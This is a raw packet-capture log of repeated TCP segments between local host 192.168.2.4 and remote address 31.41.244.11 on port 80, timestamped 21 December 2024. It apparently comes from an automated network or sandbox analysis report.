                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.380004883 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.380047083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.380094051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.381068945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.381115913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.381172895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.381230116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.382133961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.382179976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.382244110 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.382288933 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.383245945 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.383294106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.383361101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.383407116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.384417057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.384462118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.384552002 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.384596109 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.385483980 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.385530949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.385608912 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.385656118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.386575937 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.386620998 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.386698961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.386744976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.387932062 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.387980938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.388240099 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.388286114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.389244080 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.389297962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.389317036 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.389364004 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.390364885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.390409946 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.390471935 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.390522003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.391696930 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.391741991 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.391765118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.391808033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.392889023 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.392930031 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.392982006 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.393024921 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.393958092 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.394004107 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.394048929 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.394094944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.394936085 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.394982100 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395068884 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395109892 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395814896 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395859003 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395942926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.395988941 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.396754026 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.396797895 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.396819115 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.396861076 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.397655964 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.397702932 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.397756100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.397802114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.398747921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.398794889 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.398915052 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.398960114 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.399866104 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.399913073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.399969101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.400015116 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.400950909 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.401000023 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.401082039 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.401128054 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.402146101 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.402174950 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.402208090 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.402234077 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.403175116 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.403222084 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.403275013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.403320074 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.404278994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.404321909 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.404428959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.404478073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.405422926 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.405467033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.405546904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.405591011 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.406476974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.406521082 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.540882111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.540935040 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.540949106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.540987015 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.541038990 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.541090965 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.541166067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.541229963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.542850018 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.542912960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.543278933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.543338060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.543605089 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.543659925 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.544354916 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.544418097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.544518948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.544569016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.545286894 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.545345068 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.545425892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.545476913 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.546073914 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.546133041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.546200037 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.546257973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.546982050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.547039986 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.547096968 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.547158957 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.548084974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.548134089 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.548198938 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.548259974 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.549196959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.549257040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.549318075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.549380064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.550409079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.550458908 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.550465107 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.550509930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.551414967 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.551476002 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.551536083 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.551584959 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.552537918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.552591085 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.552654028 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.552711010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.553661108 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.553710938 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.553780079 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.553824902 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.554744959 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.554805040 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.554857016 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.554913044 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.555850983 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.555917978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.555979013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.556035042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.556945086 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.556998014 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.557077885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.557131052 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.558051109 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.558110952 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.558176994 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.558234930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.559155941 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.559204102 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.559269905 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.559335947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.560264111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.560313940 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.560318947 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.560370922 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.561378956 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.561429024 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.561531067 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.561574936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.562483072 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.562541962 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.562602043 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.562664032 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.563590050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.563640118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.563720942 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.563767910 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.564687014 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.564732075 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.564814091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.564867973 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.565802097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.565844059 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.565902948 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.565947056 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.566956997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.567009926 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.567011118 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.567060947 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.568022013 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.568088055 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.568242073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.568293095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.569133997 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.569190025 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.569367886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.569421053 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.570255995 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.570307016 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.570374012 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.570425987 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.571369886 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.571424961 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.571494102 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.571542978 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.572468042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.572523117 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.572592020 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.572643042 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.573561907 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.573616028 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.573662996 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.573710918 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.574662924 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.574712992 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.574845076 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.574896097 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.575776100 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.575825930 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.575891972 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.575930119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.576889038 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.576941013 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.576986074 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.577034950 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.577984095 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.578032017 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.578098059 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.578144073 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.579093933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.579138994 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.579215050 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.579267979 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.580260992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.580311060 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.580315113 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.580369949 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.581335068 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.581384897 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.581427097 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.581478119 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.582591057 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.582642078 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.582699060 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.582747936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.583690882 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.583744049 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.583806992 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.583853960 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.584738970 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.584784985 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.584863901 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:15.584916115 CET4976080192.168.2.431.41.244.11
